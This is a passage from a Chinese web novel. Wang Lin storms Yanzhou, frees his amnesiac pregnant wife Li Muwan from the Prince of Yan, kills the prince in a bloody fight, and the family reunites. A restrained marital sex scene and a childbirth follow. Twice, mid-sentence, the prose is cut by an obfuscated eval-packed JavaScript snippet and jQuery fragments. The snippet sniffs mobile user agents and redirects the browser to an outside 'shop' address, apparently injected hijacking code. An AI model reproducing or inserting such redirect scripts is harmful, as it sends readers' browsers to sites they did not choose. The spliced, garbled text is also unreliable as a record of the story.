成嬷嬷随即一巴掌落下,“贱婢,王爷的事也是我等能过问的。若是朝廷退兵,里面的人自可去腹留子,可如今形势不同了,若非王爷心细,观察入微,王妃?哼,燕王府从没有什么王妃。” 李慕婉身形微顿,扶着树枝双手颤着。 “王爷有令,此女怕是与那白发谋士有着千丝万缕的关系,若是如此,兵临城下,王爷大可以此女胁迫,拖延时间。”成嬷嬷脚步加快了。 侍女哪里懂得这些暗潮,忙捂着嘴不敢再提。 墙内的李慕婉紧紧抓着衣袖,清浅的眸子凌厉穿过院落,高墙与外界隔绝,多日以来的疑惑解开了,她不是燕王妃? 难怪与燕王如此陌生,那腹中胎儿呢?又是怎么回事?李慕婉顾不得那么多,提起裙子往院子后门方向去。不论她是谁,被燕王抓去战场,以命胁迫谁,她都不会有好下场。 庭院门锁开了,月洞门外闯入几道身影,府卫腰间挎着军刀,直直往正屋去,正屋的锁上了,成嬷嬷带着急促,压着声:“老奴去唤王妃,尔等在这候着。” 若惊动了人,难免不会做出什么事,烨恒要的是活人。 成嬷嬷要交差定然是完好无损的李慕婉,以及腹中胎儿不能有恙。 后院墙下贴着一道身影,腹部隆起,她不知城内状况如何,王府定有专人看守,以她之力要出去也不容易。 可她不愿束手就擒,被燕王当做人质,眼下她仍不能确认自己是谁,按成嬷嬷口中之言,让她越发确定,她与王林,有着莫大联系,或许他那日所说的话都是真的。 那她若当真是她的妻子,自己就更不能让王府之人抓住成为威胁他的棋子。 正屋门外,成嬷嬷喊了好几声,屋内都没动静,平日李慕婉就寝时虽不喜人守夜,可也从来不会上锁,成嬷嬷想到这一点,忙招手让侍卫把门踹开。 前院的动静惊着人,水蓝衣袖从正屋檐下消失,绕过后院,本就难行的李慕婉怀着惊慌。正要往前时,一道白影从天而降,稳稳落在她眼前。 李慕婉吓得往后踉跄,那白影纵入,跟上来,后腰被稳稳抵着,整个人落在他怀中。 李慕婉盯着他,长达拂过她带着惊慌的眼睛,她看清后讶异问:“是你?” 王林温柔抚过乱了的发鬓,“婉儿,我来了。” 看到王林那一刻,她不知为何竟然有些安心,“你,大军不是在攻城吗?你怎得进城了?” 她的小腹抵着他,王林注视后将她带正身子,李慕婉却发觉他比那夜相比,此刻倒有正人君子的模样,不像那般浮浪。 此时的她也放下防备,“王府有护卫严守,若知道你潜入王府,定然会赶尽杀绝的。” “你快走吧。” “婉儿,你是担心我?”她居然为自己着想,王林目光注视着周遭,打探着,“可是想起我了?” 李慕婉摇头,“我只是觉着,你不是坏人。” “燕州城势必要破,燕王要擒,婉儿,跟我一起走吧。”王林伸出手,等待她的回应。 李慕婉望着他,思虑着,不知他是如何躲过王府护卫进来的,可他白袍上隐约是有血迹,那双眼睛生得好看,熟悉极了。 就好似无数个夜里,与他这双眼睛对视相拥,又是一阵头疼,她鬼使神差伸出手,即便不记得,不认得他了,可心底却在告诉她,要去靠近他。 王林松下口气,紧紧握着,满心欢喜,“我带你出去。” 李慕婉点点头,月色如银,撒下万丈光芒,清冷的裹着两道身影。她怀有身孕,行动不便,王林还要顾及她的感受,不能像来时那般毫无顾忌飞檐走壁攀爬。 她似乎注意到他的难处,与他道,“先生放心,我和腹中孩子撑得住。” 王林打横稳稳抱着她,他的臂弯很结实,她的心在不动声色中悸动,双臂自然地搂紧他脖颈,她孤注一掷地把自己交给他。 即使记忆重置无数次,她仍会为他心动。 前院搜寻的声音逼近了,成嬷嬷下令让府中加强护卫的声音传出,王林脚尖朝地轻盈一点,身躯却稳稳立在屋檐之上。 他生怕怀里的人不适,扫了一眼确认无碍又快速移开视线,王林捕捉着王府的布局,王府的地形以及所标记的巡逻暗哨他都了如指掌,与程贤几进几出王府,他早就摸清了府中线路。 夜幕下,风动吹着二人衣袂,李慕婉指着右前方,“先生,西院的巡逻松,咱们从这走吧。” 王府护卫出动了,王林向着她指的方向,在屋檐上穿梭,如浮光掠影,转瞬躲过护卫搜寻。 “去那边。”铠甲声远了。 臂弯里的她紧紧勾着王林肩膀,因身子涌重,她面上覆了层歉意。 “多谢先生今日之恩,若非你,我恐怕要身死城楼之上了。”李慕婉仰着他侧脸,月色下看清一串汗珠贴在他额间。 他气息平稳,可她贴着胸腔,能感受到他的心跳快了,李慕婉思虑着,“要不先生放我下来吧。” “婉儿,为何要说你会死在城楼上?”王林这才低头看她。 *** 城门外势如水火,将士们厮杀声蔓延城内,城门摇摇欲坠,马上就要破了,烨恒眼见不敌,可他还未见从王府带来的李慕婉身影。 而今夜攻城之战,他也未看见王林的身影。 他等不及了,命令副将坐阵,自己带着一小队人马赶回王府。 成嬷嬷颤颤巍巍跪地求饶,“王爷,老奴赶到王妃院子时,早已没了人影,不过后院院墙落了王妃的东西。” 燕王接过成嬷嬷手上的钗环,扫了一眼空落落的院子,眼神透出的杀气浓重,这可是他握在手里最后的底牌了。 成嬷嬷还想说话,一道白光闪过,烨恒手中的刀身流着血滴。 “既然无用也不必留着了,”烨恒无情转身,“传本王命令,全城搜捕王妃踪迹,若有人胆敢带走王妃,就地绞杀。” “是。”士兵跪地领命,铠甲齐齐擦出声响。 “里应外合么?”烨恒脑中起了一人,压阵的大军里只看见了程贤,按理说王林该是一起上阵才对,这带走她的莫非就是王林? “今夜谁都别想走。”烨恒手中长剑转动,一队人马出了王府。 燕州城是燕王管辖之地,城门被军队占据,李慕婉实在不知王林要如何逃出去。 街道小巷穿满了巡查士兵,躲在窄巷的二人,身躯紧紧贴着,碍于她肚子,王林无时无刻不得注意着她。 “城门火力全开,城内怎会有如此多的兵力。”王林思索着,“看来燕王把最后的希望都寄托在婉儿身上了。” “我听王府的人说,要拿我威胁大军,先生,这是何意?”李慕婉注视着他,身前的光影被他高大的身躯遮盖,只能看到他的侧影。 “燕王要利用你腹中胎儿,让藩王之下的宗亲甘愿为世子俯首,”王林耐心道与她说,“却要拿你威胁大军?” 王林似乎想到了什么,深眸溢出前所未有的恨意,银发肆意飘起,恶狠狠嘶吼道:“烨恒,我要杀了你!” 李慕婉不知他为何突然性情暴戾,试图喊道:“先生?” 王林努力平息怒意,可眸子还是猩红,“婉儿,你在此处等我,若我没回来,别出去。” 就在王林出去时,李慕婉拉住他手腕,王林身体微动,李慕婉贴心嘱咐道:“先生小心。” 王林点头转身没入黑夜里,街道屋檐上一阵白影掠过,燕王正领着士兵穿过街头。 马背上的人指挥着:“人定然还在城内,拖着个身怀六甲的人,我看他如何走得掉。” 燕王好似在围猎野兽,那疯魔快意驱使他,咆哮漫在幽暗中,“王林,本王知道是你,打你第一回入王府见了本王王妃,本王便都知晓了。” “你以为以一己之力,能逃出本王掌控吗?到时候,我要押着你,跪在本王面前,连同程贤一块对本王俯首称臣。” “燕王,我要你死无葬身之地。”圆月洒落,远处屋顶上的白发少年背影挺立,发随风起,他眼神犀利注视着马背上的人,双臂张开,弓弦拉满,“咻”的一声,利箭刺破黑夜,穿过风帘。 “囚禁婉儿,欺我婉儿,还妄想以她性命胁迫于我,若婉儿死,我要整个王府为你陪葬。”随着话音而落,利箭已刺穿铠甲,马背上的人霎时跌落,士兵来不及辨别方位,慌乱围起一道人墙,随侍扶起中箭的燕王,燕王嘴角溢出鲜血。 利箭未能一举取下他性命,负伤的燕王暴躁。 王林飞过屋檐,轻功跃下,定定落在屋顶,侍卫队里躁动起来。 “烨恒,我王林,今夜来取你性命。”空荡里不断回旋着他震慑的话音。 月光洒在他身上,把白袍和银发映得光亮,仿若星河为之铺路。 “王林。”烨恒咬牙切齿念着他名字,“你以为今夜逃得出去吗?” “我要杀了你。”王林狠戾道。 “两军交战,你孤身入城,劫走本王王妃,还扬言要杀了本王,可笑至极。”烨恒张着手臂欲要与他开战。 “你的王妃?”王林恨极了,“你以什么手段将我妻子骗入王府,又致其失去记忆,以腹中胎儿笼络臣心,当真以为无人知晓?” “那又如何?区区一个谋士,本王不放在眼里,”烨恒抬手,“来人,给我杀了此子,再把王妃找出来,我要他看着,本王是如何与王妃情深意切的。” 烨恒一声令下后,士兵举弓朝屋顶射过,箭羽擦过黑夜,钉在王林身后的树枝上。 王林手中佩剑扔出,直直朝烨恒方向落去,打掉了接踵而来的利箭,随即他迅速拉起弓弦,数箭齐发,士兵打掉箭羽,却未能打掉长剑。 燕王见状举起手中配剑抵挡,却被击退数丈,长剑插入青石板,王林纵身而跃,身形之快,躲避上前的攻击。 迅雷不及掩耳之势,他再次拉回长剑,就在众人蜂拥而上时,长剑出击,扫过人群,护卫的长枪受到过重的冲击瞬间断裂。 他单手撑地,腾空跳起时手肘朝陷入混乱中的烨恒重击,燕王再次倒地不起,口中不断喷出鲜血,他还未看清王林,便又受了一击。 几个护卫连忙赶上,挡下已经厮杀疯的王林,那眼中恨意比灭杀孙家满门那夜还要狠决。 随侍扶起燕王,劝慰说:“王爷,此人身手不凡,前线还需王爷坐阵主持大局,此子便交由属下。” 燕王不甘心,望着不断倒下的护卫,竟然也犹豫了,朝城门的方向望了一眼,“本王要活的,走。” 王林空隙里见着被掩护离去的烨恒,只好速战速战,迅速解决纠缠而上之人。 几番交锋中,他腹部擦了一枪,白袍渗出血迹。 *** 程贤带领的军队破开了城门,城内燕州士兵抵挡不住,旌旗飘入火海里,燕州已无反扑之力。 “王爷,大势已去。”前线传报的士兵铠甲碎裂。 燕王失了最后的底牌,城门也没守住,他无路可退。 若是投降或许还能保全一命。 “活捉燕王。”程贤立于群首,指挥千军万马,大军在城内搜寻败军。 可王林没想要燕王活。 李慕婉待在暗巷里,面色担忧地抚摸着隆起的腹部。 外边的喧闹越发嘈杂,似有马蹄踏破夜空之响,还有火势蔓延后的灰烬飘落。城门方向天际微亮,火红染着了一云层。 巷口熟悉的身影纵入眼底,李慕婉步子上前迎着他,却见他满身血迹,李慕婉顿了脚步,露出担忧,“先生,你还好吗?” 王林给了个安慰的眼神,朝她伸出手:“走。” “去哪?”暗夜把他沾了血迹的轮廓遮了一半。 “我带你去杀人。”王林声音冷酷,可目光柔和。 李慕婉身躯微怔,脑子蓦然闪出一些从未有过的画面,她没多想,随即把手交给他,王林搂过她腰,两人出了暗巷。 王林带着她飞过屋檐,李慕婉望着远处城门方向,火势漫天,抱着自己的人,神色肃穆,一头长发比月色要白。 风刮过她面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235346|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊,眼前人的气息更熟了,烨恒逃窜在街头,王林长剑再次飞掷而出,直插地面,马蹄被刀光阻断去路,前蹄猛抬狂啸后仰,燕王受了伤跌落马背。 远处程贤军队听得马鸣嘶吼,朝着声音方向而去。 燕王回头看见王林带着李慕婉徐徐从屋檐落下。 “等我。”他无比温柔对着李慕婉说。 方才飞檐走壁似乎牵动了他的伤,白袍上的血渍更浓了,李慕婉盯着他背影,上前一步双臂环过他腰身,面颊紧紧贴着他后背。 王林怔了须臾,低头看着腰间的手臂,一副不可置信的表情。 “婉儿?”他低喃了声。 “先生,你受伤了,不能再流血了。”李慕婉声线柔和,满是心疼。 王林收敛起眸子的狠戾,转而对着她,似给她安定,“无妨,我要拿烨恒的命,给我的婉儿尝债。” 李慕婉松了手,“当心。” 他转身一步步上前,“烨恒,城门已破,你大势已去,还要负隅顽抗吗?”王林说罢不等燕王说话,身影几乎一息间抽回长剑,霎时两方再次交锋,护卫抄刀与他搏杀,虽负重伤,王林出剑速度却很快。 不断有护卫溅血倒下,燕王望着远处的李慕婉,朝着她的方向乱叫,“去,抓住王妃,抓住她!” 他失去了理智,已然没了王爷的威仪。 三四人闻令转身,朝李慕婉的方向看一眼,欲要将人擒拿,王林想要上前抵挡,却被两把长枪架起挡住去路,就在几人接近李慕婉时。 “找死。”他举起手臂,臂弩发出几支短箭,利箭穿喉,几人血溅当场。 长枪架住了他,王林难以动弹,又一把枪头朝他脑袋刺去,他脖颈稍动,侥幸躲过,却擦断了发带,长发散落。紧接着又三人持刀而上,被架住的他身躯难以动弹。 燕王烨恒见状露出狂笑。 “王林,死吧。”他疯癫喊道。 王林目露凶光,嘴角牵出一股笑,只见他手腕转动,长剑闪过寒光,刺穿其中一人,架住的阵型霎时打乱。 就在这时,他俯身攻击下盘,趁着间隙,抓住了时机,拿回长剑,被血液染过的剑身刺入他们都心脏,腹部,喉咙,头颅…… 尸体铺满长街,青石板血洗,烨恒大惊失色,慌忙连连后退。 白袍染满血迹,护卫所剩无几,仅有几人也已经无法站起抵抗。 燕王见状改口试图谈判道:“王,王,王林,程贤,程贤能给你的,本王都能给,今日你放了本王,来日定然让你与本王平起平坐。” “你不是喜欢王妃吗?”烨恒瞥了一眼李慕婉,“本王把王妃给你,你放了本王……” “王妃?她是我王林的发妻,李慕婉,”王林从一护卫身上抽回剑,血液喷在他轮廓上,发丝浸着鲜红,“你欺她失了记忆,哄骗做你王妃,该杀!” “你算计她腹中孩儿,为你重振燕州之势,该杀! “你以她为饵,妄图逼我就犯,该杀!” 剑尖拉出火花,威慑的声音震破长空,烨恒眨眼之余,长剑刺穿心口,他无力看着白光剑身不断深入,拔出时带了红流,鲜血溢出口角,不断流到铠甲上。 燕王死了,双膝跪在他眼跟,头颅垂下,合不拢的嘴断断续续流着黑红的血液。 李慕婉面色平静,可王林心中愤恨一时难平。 他踩在尸身火海里,回眸时,眉眼的戾气藏起,朝她走去。 李慕婉扶着檐柱,双眸裹住一层水雾,声音略显疲惫,“你是王林。” 你是王林!这话本没有问题。 可王林听得出来,她说的不仅仅他是谁。 因为她连看自己的眼神已经变了。 王林欣喜若狂,失而复得抱过她:“婉儿,你记得我了?” “你记起我了。”他语气坚定,因为她的眼神同样坚定。 “王林。”李慕婉被锁在臂弯里,抵着他肩头,白发扬在她眼前,无声的泪不断落下。 李慕婉望着他立在夜空下的身影,适才一点一滴的过往画面,在他与人搏杀中,息数想起来了。 天麓山,他在歹人手里救下自己性命,王家村竹林小院的相知相惜的点点滴滴,她全都记起来了。 王林捧起她脸,朝那红唇不顾一切地吻下去,这一吻比那夜阁楼上还要热烈,他很霸道,似乎在告诉李慕婉他这些时日的堆起的思念是如此澎湃又滔滔不绝。 李慕婉闭上眼,同样热烈地回应他,因为她知晓,此刻的王林需要自己的回应,而她的心,也无法克制隐忍内心情愫,他们旁若无人地尽情倾诉彼此的爱意。 待程贤等人赶到,只见遍地的尸体,石缝里留着血液,还有已无气息的燕王如傀儡般跪在地上,双臂垂下,头磕着地。 程贤原本还想擒了燕王,押回朝廷复命的,眼下不必了。王林与自己的谋划是先入城把李慕婉带出来,再里应外合破城,没成想他私自就把燕王了结了。 灯影下的两幅身躯,旁若无人的拥在一处,程贤见状轻咳一声,大将军的气势虚了一截,“咳咳,燕王负隅顽抗,冥顽不灵,抵死相抗,已被伏诛,大军入城整顿,鸣金收兵。” “是。”浩荡声势盘旋开外,旌旗插入城墙上,迎着凯旋的风。 许立国带着王依依赶入城内,听闻军帐传回的捷报,王依依便吵着他要入城,许立国本不该带她来,好歹混迹过江湖的他也没见过这么大阵仗,抱着好奇把人给带来了。 遍地尸体,许立国起初还怕她见了会哭,给她蒙了眼,王依依却不怕,忽隐忽现的火光中,她看清王林的衣袍。 “爹爹。”她松了许立国衣袖就要跑过去。 没跑出几步,却被许立国拽回来,“小祖宗,你爹爹和娘亲说话呢,别过去。” “爹爹把娘亲带回来了。”王依依很是欣喜,急着要去找爹娘。 “小主子等主子和主母讲完话再过去,好不好?”许立国哄着。 “爹爹和娘亲怎么又把我落下了。”王依依撇着小嘴,满脸不情愿。 许立国摸着脑袋不知道该如何给她解释。 夜色渐浓,火势灭了。 “好了没有啊。”王依依支着下巴,靠在许立国腿侧打盹,士兵在城内清扫战场。 李慕婉有些站不住,唇瓣吮得发红,还带着麻,王林这才不情愿松开,捧着小脸一遍遍凑前了看,鼻尖绕着轮廓一遍遍感受她的气息。 “婉儿,我,我好想你。”他眼眶湿了,声音也是哽咽无声的。 李慕露出一抹温婉的笑容,把那长达数月冰冷又空寂的内心点燃,王林泪如雨下,李慕婉第一次见他哭得如此伤心,满眼心疼地替他擦过泪水。 “不要哭。”她声线清婉,“王林。” 月色坠下树梢,再见晨光时,燕州城已恢复一副祥和之气。 65.思礼 一处院落里,王林坐在床榻前久久望着熟睡的她,昨夜奔波整晚,怕她动了胎气,便一早请了大夫。 李慕婉刚睡下不久,王林不忍心叫醒,让许立国招呼大夫喝茶候着。 他身上的伤也只是粗略地包扎了下,纱布在腹部缠了厚厚一层,衣裳都遮住了。 看着眼前失而复得的她,怎么都不够,历经数月的肝肠寸断,找回后的安稳让他觉得那么的不真实。 生怕一眨眼,她就走了。 良久,他俯下身,含住水润的唇瓣,浅尝着,触碰着,轻缠着,李慕婉被他的动作从睡梦里扯出来。 睁眼时,是熟悉的眉眼,近在咫尺。情深的眼神正俯视着自己,带了一层道不出的伤,李慕婉手挑开被褥,滑过他面颊,沙哑唤道,“王林。” 见她醒了,王林动作停下,声音微颤,“婉儿。” 他那副害怕的神情让人瞧了不忍,李慕婉满脸心疼,仰着脖颈回应他的情愫,温声道,“让你担心了。” 王林指腹嵌入她发丝里,轻揉着她,眼神如水一般淹着她,就能把人看酥了。 李慕婉这会才想起问,“阿兄,你的头发……” 王林欲言又止,不知该如何诉说,更不想她因此陷入自责与愧疚,又或是担心。 “见着你便好了,见着你便好了……”他手臂穿过颈后,让李慕婉枕着他手臂,脸颊不停地蹭着她额间,声音也哽咽了。 李慕婉不知所措地抱着他头,一遍遍地顺着那片银发,“阿兄……” “爹爹,娘亲,起来了。”屋外小步子急促,声音也急促,打断了他的情绪。 “是依依,”李慕婉松开手要起,身子重的她起身已经不大方便,“这些时日,她还好吗?” 王林忙扶起她,给她细心穿着鞋,又披了件厚袍,“依依很好,很听话。” “娘亲,爹爹,依依要看看娘亲……”王依依等不及,小手握成拳头猛猛催着。 木门被她拍的响,李慕婉有些哭笑不得,原先在竹林小院时,清晨她从堂屋处醒来要寻爹娘,也是这般不管不顾地拍门。 “她想娘亲了。”王林去开了门,王依依扑上去,被他抱进屋内。 “娘亲,”她扫视着屋内,急切要看到李慕婉,“娘亲,依依来看你了。” 见着人后她便挣扎着往她身上去。 “依依。”李慕婉搂住她,望向王林,“依依长高了。” “嗯。”王林难得泛起笑容,浅浅点了点头。 “娘亲,你这些日子去哪了?依依好久好久没见着您了,”王依依靠她腿上,“依依和爹爹可想想娘亲了。” “爹爹说,要带依依一起把娘亲找回来。”王依依小嘴不停念着,好似要把这些日子的话都告知她听。 可一想到那夜李慕婉不认得自己,她搂着李慕婉脖子,又皱起眉说:“娘亲那晚,为何不认得依依了?” “依依还以为娘亲不要我和爹爹了。” 李慕婉捏了捏她小脸,“没认出依依是娘亲不好,娘亲给依依道歉好不好?” 王林俯身坐到床沿位置,长臂环着母女二人。 王依依却摇头,“爹爹说娘亲病了,不是娘亲的错,不能怪娘亲的。” 李慕婉闻言心头一热,侧头悄无声息擦了泪,王林紧紧握过她手,似给她安慰。 李慕婉抬眸对上他视线,心有灵犀没再多说。 “娘亲,你有小宝宝了?”王依依鼓着勇气,小心翼翼地摸着她腹部,“许立国叔叔说的,大夫还在外边呢。” 李慕婉还未来得及给王林解释这孩子,他率先说:“婉儿昨夜受了惊,让大夫先把脉看看。” 大夫搭过脉后,开了安胎药方,离开时嘱咐着王林:“夫人身孕快有八月了,这些日子不宜奔波劳累,需要静养。” “八月?”王林如雷贯耳,猛然坐起,惊落了桌上的茶盏,哐当声荡在屋内,炉子里的炭火烧着,他燥热极了,拉着大夫问,“我夫人腹中胎儿不是五月吗?” 大夫笑他初为人夫,不懂也是人之常情,“五月的肚子哪有那么大的。” “可若是双生胎呢?”王林迫切问道。 那大夫被问得有些恍惚,行医多年还没人质疑过他的医术,他再次把了脉,肯定道,“就是八月,一胎,脉象来看,应是男胎不会错。” 大夫没在意他的神色,行医多年,什么诊案没遇过,摆摆手便出去了。 李慕婉倚在矮榻前,身子涌重。 “一胎,”王林眸子一沉,“八个月……” “八个月……” “婉儿?” “阿兄。”李慕婉目光如炬,王林见她并未有所惊诧,若是大夫诊脉无错,其中便是有着隐情。 王林望了纱帘里的影子,走过去,心底急切想要知道答案,可步子却是很稳重,声音也哑了,“婉儿,这腹中胎儿,大夫说已有八月……” 隔着纱帘,李慕婉细指挑起,探出头来,望着立在榻前发颤的身躯,眼尾泛红,直直地盯着她。 李慕婉撑起身,可她实在行动不便,王林忙搭着手,感受到他身上的战栗,李慕婉忍不住抱住了他。 腹部轻抵着他,柔声说:“王林,腹中是婉儿与你的孩子。” 李慕婉失去记忆后在燕王府醒来,起初并不知自己已有身孕,若非燕王打这腹中胎儿的主意,让府中大夫给她喝下抹去记忆的药物,隐瞒她身孕的时间。 而她一直都以为腹中就是燕王的孩子,可昨夜记起后,她把丢失在王府的那段记忆也一并想起来了。 她便知道,这孩子是王林的。 “婉儿,”王林神情黯然,眼眶含着泪,满眼疼惜,愧疚漫出眼眶,哑声道,“是我不好,让你受苦了。” 倘若他没去燕州,李慕婉就不会独自返程,也不会坐上商船,遇劫匪抢掠导致落水失信。 仅仅分离八个月,却要比他在人世二十几年还要漫长,他在失去她的每个日夜,都仿若度日如年,每每觉着要寻到她了,却又是空欢喜一场,心底轮回了无数次,最后头发熬白了。 王林泪如雨下,大颗大颗的泪珠滚落在她面颊,李慕婉抬起头,又替他擦拭着。 得知她还活着时,仅剩的一缕孤魂才得以重聚,哪怕不知她为何成了王妃,即便怀了别人的孩子,他都不在意,只要她还活着,他便相信会记起他的,自那以后,王林没日没夜地筹划该如何把她抢回来。 重阳节那晚,他承诺李慕婉会带她离开王府,他做到了,只是期间有多少辛酸,唯有自己知晓。 顾念李慕婉的身子,她不能再舟车劳顿,王林只能在燕州等她诞下孩子,养好身子再做回长乐县的打算。 此处宅院静,正好适合养胎,王依依许久不见娘亲,总要黏着李慕婉,李慕婉给她扎着小髻,满眼宠溺,“依依长高了些,头发也长了,娘亲不在时爹爹给梳的头吗?” “嗯?”王依依坐着凳子,乖得很,“一开始不是,后来才是。” “哦?”李慕婉眉头微蹙,“那依依能跟娘亲细说吗?” “娘亲,”王依依抓着她手,认真道,“你别走了,你不在这些日子,爹爹很不开心。” “还有。”王依依手捂着嘴,要凑近她耳朵说。 李慕婉见状配合她,微微俯身凑过去。 “爹爹总在夜里哭,依依知道,他是想娘亲了。” 闻言,她心里拧得难受,那满头的白发,足以证明他的悲伤过度。 “娘答应依依,再也不走了。”李慕婉只能这么哄着她。 “许立国叔叔说,那晚爹爹去见娘亲了,娘亲,你见到爹爹了吗?”王依依眼睛打转。 李慕婉一时半会儿没想过来,“那晚?” “依依见着娘亲的那晚啊。”王依依认真提醒,又期待她的答复。 是那夜重阳日,李慕婉想到了,点头应她,“是,那晚是娘亲不好,没能认出你。” 王依依知道她回来了,就把那晚哭得撕心裂肺的难过都忘记了,小手学着爹爹的模样,往她腹部摸了摸。 腹部有了动静,她很是好奇,却又害怕,连忙收回手,藏着身后,躲入娘亲怀里,委屈又可怜地唤道,“娘亲……” “依依不怕,这是肚子里的弟弟跟依依说话呢。”她神态温婉,抓着王依依小手凑近。 王依依这才壮着胆子又摸了摸。 王林从程贤军帐回来,燕州的战情程贤禀报回京,可燕王已死,燕州是无主之城,兵力不能一下全部撤回,程贤便留在燕州暂时管辖。 王林与他提了个条件,燕州之行,燕王之死,把他的行迹都摸得干干净净,程贤答应了。 至于他在云雾岭绞杀的丹青寨,还有山匪和军队全部葬身在那场爆炸中,却无人知晓,那晚火光烈焰里,有个白发男子活着下山了。 房门再次推开,王依依的小髻扎好了,李慕婉用蝴蝶发饰给她点缀。她扭头去迎王林,王林单手抱起她,看着头上的小髻,忍不住揪了两下,夸道,“娘亲梳的头好看。” “爹爹梳的也不赖啊。”王依依攥紧他衣领,不知为何突然感叹了句,“爹爹的头发真好看啊。” 李慕婉也觉得好看,发冠束起的长发,似雪含盖,颇有仙人之姿,加之他身段出众,背又挺直,清俊的神态让她忍不住挪开眼,只是这其中让他受了不少苦,却又让人心疼。 “婉儿,一切都安顿好了,等你养好身子,也快年关了,在燕州过个年再回长乐县吧。” “回王家村过年吧,”李慕婉算起时间,“出来这么久,爹娘肯定也想依依了。” “我知道你顾及我的身子,无碍的。” 王林放下王依依,捏捏她脸,“程贤叔叔给你带了点心,依依找许立国叔叔去拿。” “好。”王依依撒腿就跑了。 王林挨过去搂着李慕婉,手搭在她腹部,“那等你生了孩子,养好身子再定吧。” 两人坐在藤椅上,李慕婉倚在他心口,“王林,给孩子取个名字吧?” 腹部的手移开,滑入她掌心,十指紧扣,牵起她一并走到书案前。 李慕婉坐在靠椅上,王林站在身后,双臂环着她,手里捏着笔,寻问道,“婉儿想好要取什么名字了?” 见她摇头,王林把笔放到她手上,掌心再握起她手,随即落笔。 白纸上跃然清晰的一行字。 “思念吾妻,李氏慕婉”。 而后继续写道。 “王思礼”。 李慕婉念着这名字,王林解释说:“礼,取自婉儿姓氏同音,又有尊礼谦逊之意。” “婉儿觉着如何?” “思礼,好。”李慕婉摸着肚子,默默念着,“思礼,这是爹爹取的名字。” 王林搁笔朝她侧脸落吻,李慕婉阖眼享受着幸福时刻,身上是他的气息,分离数月的思念又涌上心头,他端详着那张脸,捧着,蹭着,看不够。 李慕婉只觉身子腾空,没一会儿落回矮榻上,矮榻铺了厚厚一层褥子,软和的。 因着她孕期后期,褥枕也给她垫高了,王林后背的手移到褥枕后,膝后的另一只手从腿滑到腹部。 李慕婉搭的那件外袍滑落,露出清晰的锁骨,身孕时丰腴更甚,王林口干舌燥,喉间滚动了几下,目光落在唇瓣上,盯了许久。 “婉儿……”王林抬眸似乎在寻问她。 “阿兄。”李慕婉勾着他脖子,仰着头,朝他吻上去,她主动地探入,想起那晚在酒楼,她没有回应的时候,他该多伤心。 可是她此举,在这个时候于王林来说更是一种煎熬,他极度克制着,褥枕被揉皱了。 李慕婉手扒着他衣襟,露出的胸膛线条分明,只是再往下,王林摁住了她。 他腹部的伤还没痊愈,不想让她瞧见。 “婉儿身子不便。”王林声音暗哑,呼吸沉重,他撑起只手臂,另外一只急切地解开腰封。 李慕婉侧了身,似乎是心照不宣。 没一会儿,里衣解开了,露出的白皙格外诱/惑。 “阿兄,褥枕给我吧。”李慕婉抬手,从身后接了褥枕,放到腹部。 急促的气息萦绕耳畔,身后悉悉索索是褪衣裳的声音,衣袍随意搭在藤椅上,王林撑身时微压下些力量,高挺的鼻梁沿着颈侧下滑。 李慕婉指尖嵌入掌心,不禁颤了颤,胸膛贴着后背,撑着那只手绕到颈后,李慕婉枕在手臂,整个人被他从身后环着。 羊脂白玉般的肌肤泛着红,笼起的腹部由褥枕抵住,他控制了力道,尽量不让她难受。 王林抬头望了身前的李慕婉一眼,确认不会伤着肚子,才敢肆无忌惮地蹭,热气从后颈漫过肩头。 她没怎么动,几乎都是王林在折腾。 每个动作都在克制,比平日收敛,也是难为他了。 直至暖热的凝露从腰窝滑落,李慕婉听着动静,气息也慢了,就这么拥了片刻,身前那只手掌松开一些。 热气慢慢散了,王林才坐起身子,整理了衣袍,丝帕的触感从腰后传来,还有他指尖的余温。 附着身上的余物擦净,李慕婉才侧回身子,钻入他怀里,王林脖颈上湿湿的,被揉乱的人,无辜又可怜地望着他。 他心生歉意,唇角又溢出一丝无可奈何的笑,像是做错事的孩子。 李慕婉抹去他浸湿的汗珠,看着面颊淡去的红热,彼此注视了许久,垂眼会心一笑。 *** 转眼,燕州下起初雪,李慕婉在初雪夜里诞下王思礼。 襁褓裹着白白胖胖的婴儿,王林抱在怀里,不像第一次抱着王依依时那般紧张慌乱。 月子照顾李慕婉的活都是他亲力亲为,王依依偶尔懂事的要搭把手,望着摇篮里熟睡的孩子,还有榻上李慕婉,臂弯枕着王依依,王林便满是心足。 燕州城比长乐县还要冷,腊月已至,李慕婉出月已有月余,身子也恢复许多。她想回王家村过年,王林百般思量过后让许立国备好行程,程贤也派了人一路护送到了长乐县。 赶回王家村时已经是小年夜了,寄回的家书上说了逢燕州兵变被困,只能在燕州待产,却只字未提李慕婉落水失信一事。 王父王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249987|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母心疼不已,李奇庆却知晓几人遭遇,本要责备王林一番,却见走时的墨发,回来之后便是满头白。 他看了看小妹还有怀中的王思礼,那堵在心口的话最终还是咽下。 周英素注视着他的白发,欲言又止,王林安慰几句,只道是讲学任务繁重,思虑过多缘由。 而后又把王思礼塞入周英素怀里,分散她的心神。见着白白胖胖的孙儿,又看着风尘仆仆的李慕婉,不免得心疼起来。 “怎得有了身孕不回家呢,娘该照顾你们才是的。” “娘,”李慕婉挽着她胳膊,“信中不是说了嘛,阿兄要去燕州讲学,却逢燕州作乱,我们不得已困在城中出不来,阿兄照顾我们娘仨照顾的很好,让爹娘担心了。” 